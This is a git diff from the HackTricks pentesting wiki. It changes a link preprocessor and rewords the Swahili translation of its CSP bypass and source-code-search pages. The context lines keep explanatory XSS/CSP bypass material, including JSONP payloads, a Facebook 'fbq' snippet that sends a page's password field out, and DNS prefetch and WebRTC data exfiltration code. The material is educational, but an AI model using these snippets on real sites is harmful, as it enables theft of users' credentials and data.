diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index af5949449..5d070c39f 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -78,6 +78,9 @@ def ref(matchobj): sys.exit(1) + if href.endswith("/README.md"): + href = href.replace("/README.md", "/index.html") + template = f"""{title}""" # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"}) diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 9b7a8d1ed..aac8acc04 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -9,7 +9,7 @@ Hii inasaidia katika matukio kadhaa kutafuta **habari zilizovuja** au kwa mifumo - [**Sourcebot**](https://www.sourcebot.dev/): Zana ya kutafuta msimbo wa chanzo wazi. Panga na tafuta katika maelfu ya repos zako kupitia kiolesura cha mtandao cha kisasa. - [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika maelfu ya repos. Kuna toleo la bure na toleo la biashara (pamoja na siku 15 za bure). Inasaidia regexes. - [**Github Search**](https://github.com/search): Tafuta katika Github. Inasaidia regexes. -- Labda pia ni muhimu kuangalia pia [**Github Code Search**](https://cs.github.com/). +- Huenda pia ikawa muhimu kuangalia pia [**Github Code Search**](https://cs.github.com/). - [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes. - [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika mamilioni ya miradi. diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index cecb80af5..fb8f654aa 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -21,11 +21,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi: - `Content-Security-Policy`: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote. -- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Ni bora kwa majaribio katika mazingira ya kabla ya uzalishaji. +- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji. ### Defining Resources -CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama vile utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni: +CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni: ```bash default-src 'none'; img-src 'self'; @@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> - `'sha256-'`: Inaruhusu skripti zilizo na hash maalum ya sha256. -- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash. +- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa imeorodheshwa na nonce au hash. - `'host'`: Inaelezea mwenyeji maalum, kama `example.com`. - `https:`: Inapunguza URL kwa zile zinazotumia HTTPS. - `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript). @@ -97,7 +97,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> - `'report-sample'`: Inajumuisha sampuli ya msimbo unaokiuka katika ripoti ya ukiukaji (inafaa kwa urekebishaji). - `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama). - `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma tu asili wakati ombi ni la kuvuka asili. -- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama. +- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama. ## Kanuni za CSP zisizo salama @@ -126,7 +126,7 @@ Kifaa kinachofanya kazi: ``` ### strict-dynamic -Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**. +Ikiwa unaweza kwa namna fulani kufanya **kodikali ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodikali yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**. ### Wildcard (\*) ```yaml @@ -155,7 +155,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii: -Kifaa kinachofanya kazi: +Payload inayofanya kazi: ```markup "/>'> ``` @@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a #### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] -> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**. +> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**. ```markup @@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa: aaa ``` -#### Kutumia vibaya msimbo wa google recaptcha JS +#### Kutumia vibaya msimbo wa JS wa google recaptcha Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP: ```html @@ -268,13 +268,13 @@ https://www.google.com/amp/s/example.com/ ``` Kunyanyaswa \*.google.com/script.google.com -Inawezekana kunyanyaswa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). +Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). ### Mipangilio ya Tatu + JSONP ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi: +Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi: ```markup "> "> @@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert; ``` [**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.** -Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika. +Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinategemewa, redirects zinategemewa. -### Matumizi Mabaya ya Watu wa Tatu +### Matumizi Mabaya ya Viongozi wa Tatu -Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya watu wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya watu hawa wa tatu ni: +Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya viongozi wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa tatu ni: | Kitu | Tovuti Iliyoruhusiwa | Uwezo | | ----------------- | -------------------------------------------- | ------------ | @@ -303,7 +303,7 @@ Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-c | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | | Google Firebase | \*.firebaseapp.com | Exfil, Exec | -Ikiwa utapata mojawapo ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo. +Ikiwa utapata yoyote ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya viongozi wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo. Kwa mfano, ikiwa utapata CSP ifuatayo: ``` @@ -318,7 +318,7 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog 1. Unda akaunti ya Mdevelopment ya Facebook hapa. 2. Unda programu mpya ya "Facebook Login" na uchague "Website". 3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako. -4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data. +4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data. 5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako". @@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu. +Kuhusu maeneo mengine saba ya tatu yanayobainishwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya mengine ya wahusika wa tatu. ### Bypass via RPO (Relative Path Overwrite) @@ -341,11 +341,11 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez ``` Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`. -Hii inafanya kazi kwa sababu kwa brahara, unachukua faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP. +Hii inafanya kazi kwa sababu kwa brahara, unapo pakia faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP. ∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`. -Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**. +Kwa **kutumia hii kutokuelewana katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**. Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili. @@ -361,29 +361,29 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html). -Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo cha callback kilichoharibika** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\ Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) @@ -649,8 +649,8 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud ``` ### DNS Prefetch -Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.\ -Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `` +Ili kupakia kurasa kwa haraka, vivinjari vinakwenda kuanzisha majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\ +Unaweza kuonyesha kivinjari kuanzisha jina la mwenyeji kwa: `` Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**: ```javascript @@ -688,7 +688,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -Chaguo lingine: +Nyingine chaguo: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -722,7 +722,7 @@ iconURL:"https:"+your_data+"example.com" [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## Marejeo +## Marejeleo - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)